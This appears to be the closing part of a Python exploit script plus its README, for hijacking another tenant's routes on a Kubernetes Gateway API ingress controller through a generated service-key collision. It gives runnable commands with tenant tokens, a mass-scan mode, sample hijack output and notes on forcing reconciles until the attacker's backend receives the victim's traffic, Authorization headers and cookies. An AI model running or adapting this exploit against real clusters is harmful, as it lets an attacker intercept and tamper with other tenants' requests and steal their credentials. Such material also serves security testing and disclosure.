        "victim_host": args.victim_host, "victim_namespace": args.victim_namespace,
        "victim_service": args.victim_service, "victim_port": args.victim_port,
        "victim_name": args.victim_name, "victim_path": args.victim_path,
        "namespace": args.namespace, "backend_service": args.backend_service,
        "backend_port": args.backend_port,
        "route_name": args.route_name,
        "attacker_host": args.attacker_host,
        "mode": args.mode,
        "gw_name": args.gateway_name, "gw_namespace": args.gateway_namespace,
        "gw_section": args.gateway_section, "entrypoint": args.entrypoint,
        "rule_index": args.rule_index,
        "marker": args.marker, "attempts": args.attempts, "interval": args.interval,
        "timeout": args.timeout, "verify": args.verify_tls,
        "cleanup": not args.no_cleanup,
        "api_port": args.api_port or None,
    }

    if args.list:
        full_attack = bool(opts["k8s_api"] and opts["token"] and opts["victim_host"])
        scan(args.list,
             default_port=args.port if full_attack else (args.api_port or args.port),
             workers=args.workers, opts=opts)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.path != "/":
            path = args.path
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, opts)

#Usage

Backend mode - target collision on the concrete backend service key:

python exploit.py --host gateway.corp.example --port 80 \
  --k8s-api https://10.20.0.10:6443 --token-file tenant.token \
  --victim-host shop.corp.example \
  --victim-namespace team --victim-service victim-svc \
  --namespace team-victim --backend-service svc

Router mode - target collision on the router identity key (requires copying the victim's rule):

python exploit.py --host gateway.corp.example --mode router \
  --k8s-api https://10.20.0.10:6443 --token-file tenant.token \
  --victim-host shop.corp.example --victim-path / \
  --victim-namespace team --victim-name a-app \
  --namespace team-a --route-name app --backend-service attacker-svc

Passive scan mode:

python exploit.py --list targets.txt --api-port 8080 --workers 20

Expected output on vulnerable target (backend mode):

[STEP 1] Fingerprinting the backend that currently answers Host: victim.local

--- BASELINE RESPONSE (victim backend) ---
Name: VICTIM
Hostname: victim-6d47d4c8c5-cqqz9
---

[STEP 2] Checking the generated backend service key collides

--- IDENTITY COLLISION ---
victim   team/victim-svc  ->  team-victim-svc-http-80
ours     team-victim/svc  ->  team-victim-svc-http-80
collide  True
---

[STEP 5] Polling Host: victim.local for the hijack (10 attempts, 3.0s apart)
  attempt 1: backend changed

--- HIJACKED RESPONSE (Host: victim.local) ---
Name: ATTACKER
Hostname: attacker-694d4db77-lv5jw
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Host: victim.local answered by our backend after 1 poll(s)
============================================================

#Exploitation notes

#Prerequisites

#How the exploit works

The exploitation process follows five steps:

  1. Baseline fingerprinting - establish what the victim's backend returns by querying its hostname multiple times, filtering out volatile fields
  2. Collision arithmetic verification - calculate both the victim's resource key and the attacker's key, abort if they don't match
  3. Tenant privilege proof - confirm the attacker can list routes in their namespace but cannot in the victim's (CVSS PR:L)
  4. Route creation - plant an HTTPRoute with a hostname distinct from the victim's
  5. Polling with reconcile forcing - repeatedly check if the hijack has landed; on each non-hijacked response, bump an annotation to force a fresh reconcile

#Race conditions

The collision winner is non-deterministic. Each provider reconcile (nominally every 2 seconds) re-rolls the client-go map iteration order, so the hijack may or may not land on any single attempt. The exploit polls and forces fresh reconciles until it lands, typically within the first few attempts.

#Reliability and limitations

The exploit is highly reliable in a lab environment where timing is controlled. In production, network latency and provider throttling can extend the convergence time. The --marker argument improves signal-to-noise if the attacker's backend is known to return a unique string.

#Impact on routing

On a successful hijack, all requests that match the victim's routing rule (same hostname and path, as seen by the victim's router) are delivered to the attacker's backend while the request headers (including Authorization, Host, and cookies) are forwarded unchanged. The attacker's response is served to the client, so they can read, modify or drop requests and responses at will.

#References